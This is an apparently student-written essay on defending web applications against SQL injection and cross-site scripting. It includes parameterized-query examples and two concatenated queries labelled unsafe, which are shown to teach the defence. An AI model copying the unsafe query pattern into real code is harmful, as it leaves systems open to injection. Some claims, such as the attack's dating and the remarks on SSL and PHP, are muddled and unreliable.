How to Overcome Injection Flaws and Cross Site Scripting

Introduction

In 2018/2019 there series of massive global cyber-attacks. Some spread across over 100 countries. The one of the attacks was launched through a ransomware application that was able to exploit older versions of Microsoft windows vulnerabilities. The UK NHS was massively hit and a considerable number of NHS Trusts across the country were unable to deliver patient care services that rely on IT. This latest attack sums up the ever present threat of cyber insecurity to personal and national web infrastructures. There is an urgent need to build web applications that are secure and can withstand this sort of growing cyber global menace. The most critical question: is your website secure? Is your IT equipment's and software applications safe and secured from cyber-attacks? Can these survive a major cyber-attack like the one mentioned above. If not then urgent actions needs to be taken to secure your IT assets. The purpose of this assessment is to explore Injection Flaws and Cross Site Scripting which could lead to potential web security risks and propose ways of curbing them.

1. Injection and Authentication Flaws:

Injection and authentication flaws occur through Vulnerabilities occasioned by flaws in design. This occurs through client data submission via registration forms to a server platform. This will normally occur when developers create user or client input data forms for user input. Hackers and malicious applications can launch attacks to a webserver by inputting malicious scripts or code into this user inputs that is executed when submitted and can gain access to the server. This is very common occurrence allows the attacker to gain as access to valuable and sensitive information like passwords, sensitive data and personal information including banking details. This type of attacks can endanger organisations and erode trust in cyber services. Many times when this occurs organisations cherished reputations can be greatly put at risk. We see this in the case of the NHS attack even though this was global in nature. We see where the Trusts affected and the government found themselves in a defensive position and damage control. However, the most critical moment of the attack was the risk that hospital patients were put at, when hospital staff could not access critical patient data and information on their systems. Quickly Microsoft STRIDE Model comes into mind:

"Spoofing identity, Tampering with data, Repudiation, Information disclosure, Denial of service, Elevation of privilege"

All the above can take place in a swoop once there is security bleach on a system of web application which can occur through injection and authentication flaws.

2. Defences against cross site scripting and SQL injection in applications:

To defend against cross site scripting and SQL injections we must adhere to the following principles:

a. Use secure web platforms in HTTP. It is generally agreed that HTTPS is a more secure form than HTTP and that should be used for secure access.

b. It's also, advisable that SSL should be used. Though PHP does not recognised SSL it can be used with backend server applications to secure user sensitive information. Some sensitive information that must be secured include user-names, passwords, banking details, user addresses and any other sensitive information like medical records etc.

c. Also, it's important to ensure that your internal security is locally tested. This can be done by carrying out internal penetration testing and hacker proofing tests. The use of industry experts in this regards is required and highly advised.

d. Training of internal staff is a key element in maintaining internal security and preventing external attacks including cross site scripting and SQL Injections in your applications. I have been to organisations where some IT staff have no knowledge of basic security tests and can easily handover important sensitive security information to third parties without know it. Training of staff comes at a cost, but this will eventually pay off considering the cost and damage that can occur in the event of an attack as result of the carelessness or lack of training.

e. Ensuring the security of your codes and scripts is important. Always use "The Second Rule: POST data instead of GET" in your PHP scripts. This is to prevent code and data appearing in the URL information. If this is visible in the browser it means that anyone can see it. If anyone can see it, then it means it can be modified by anyone outside your organisation. Utilizing Post data instead of GET in your codes will prevent this from happening.

f. Use "Safe Java Prepared Statements:

Examples;

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

String custname = request.getParameter("customerName"); // This should REALLY be validated too

// perform input validation to detect attacks

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, custname);

ResultSet results = pstmt.executeQuery( );

Safe C# .NET Prepared Statement Example

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

String query =

"SELECT account_balance FROM user_data WHERE user_name = ?";

try {

OleDbCommand command = new OleDbCommand(query, connection);

command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));

OleDbDataReader reader = command.ExecuteReader();

// …

} catch (OleDbException se) {

// error handling

}

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the Hibernate Query Language(HQL) have the same type of injection problems (which we call HQL Injection). HQL supports parameterized queries as well, so we can avoid this problem:

Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

First is an unsafe HQL Statement

Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");

Here is a safe version of the same query using named parameters

Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");

safeHQLQuery.setParameter("productid", userSuppliedParameter);

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated "customerName" parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

String query = "SELECT account_balance FROM user_data WHERE user_name = "

+ request.getParameter("customerName");

try {

Statement statement = connection.createStatement( … );

ResultSet results = statement.executeQuery( query );

}

3. Possible Improvements:

a. It important that you set your organisations security goals. What is it that needs securing and protecting? In terms priority, how important is this to the organisation's overall objective. What resources are required and if necessary a detailed costing and budgeting procedure adopted.

b. Develop an internal IT use policy that defines how sensitive data is stored and protected. What is your organisations overall policy on IT use. I have seen organisation that do not have one in place but expects their staff to be responsible for data protection.

c. IT risk assessment: I was working for an organisation that was constantly prone to cyber-attacks from hackers that often led to sensitive data being compromised. My advice to the director of IT was to carry out an internal IT risk assessment. This was a turning point as we were able to identify all the loop holes in the entire IT infrastructure of the company and recommend immediate fixes that secured critical applications.

d. Observation of Response Headers is another way to improve the security of your applications against possible cyber-attacks, cross site scripting and injections. Usually Response Headers are sent to the client (browser) via html in the form of cookies and sessions headers. Firefox is a recommended browser as it as its add-on "Tamper Data" will normally show these.

e. Constantly viewing http headers is very useful as it will help in identifying these and will show and reveal content headers.

f. IT security experts will constantly view the source codes of html to verify and check for vulnerabilities. This is especially helpful by carefully comparing source codes will help trace scripts that are specifically built to pass filters and firewalls.

g. Make it a policy practice to immediately fix identified vulnerabilities without hesitation.

Conclusion:

In conclusion, we cannot over emphasized the necessity for adequate cyber security systems and protocols to be put in place at every level of web infrastructure development and deployment. The challenge of cyber security increases by the day as more and more of the world becomes inter-connected. With projects like "internet.org" seeking to connect the entire planet and challenge becomes even more enormous. However, adherent to the above principles and protocols can save many organisations from common cyber security bleaches. The methods mentioned in this assessment are not by any means exhaustive, nevertheless they can be vital assets in preventing cyber-attacks. Cyber Security vulnerabilities are real. Critical assessment of these Security vulnerabilities are vital in securing your organisations IT infrastructure. Especially, organisations that rely heavily on IT applications and platforms. There are commonly known and associated cyber security risks that can be mitigated against utilizing simple and easy to use tools. These are available and can be a cost effective way of protecting an organisations IT infrastructure. These are measured defenses that can reduce and prevent cyber-attacks. Organisations should always adopt the internal defense approach as valuable means of defense against cyber-attacks risks.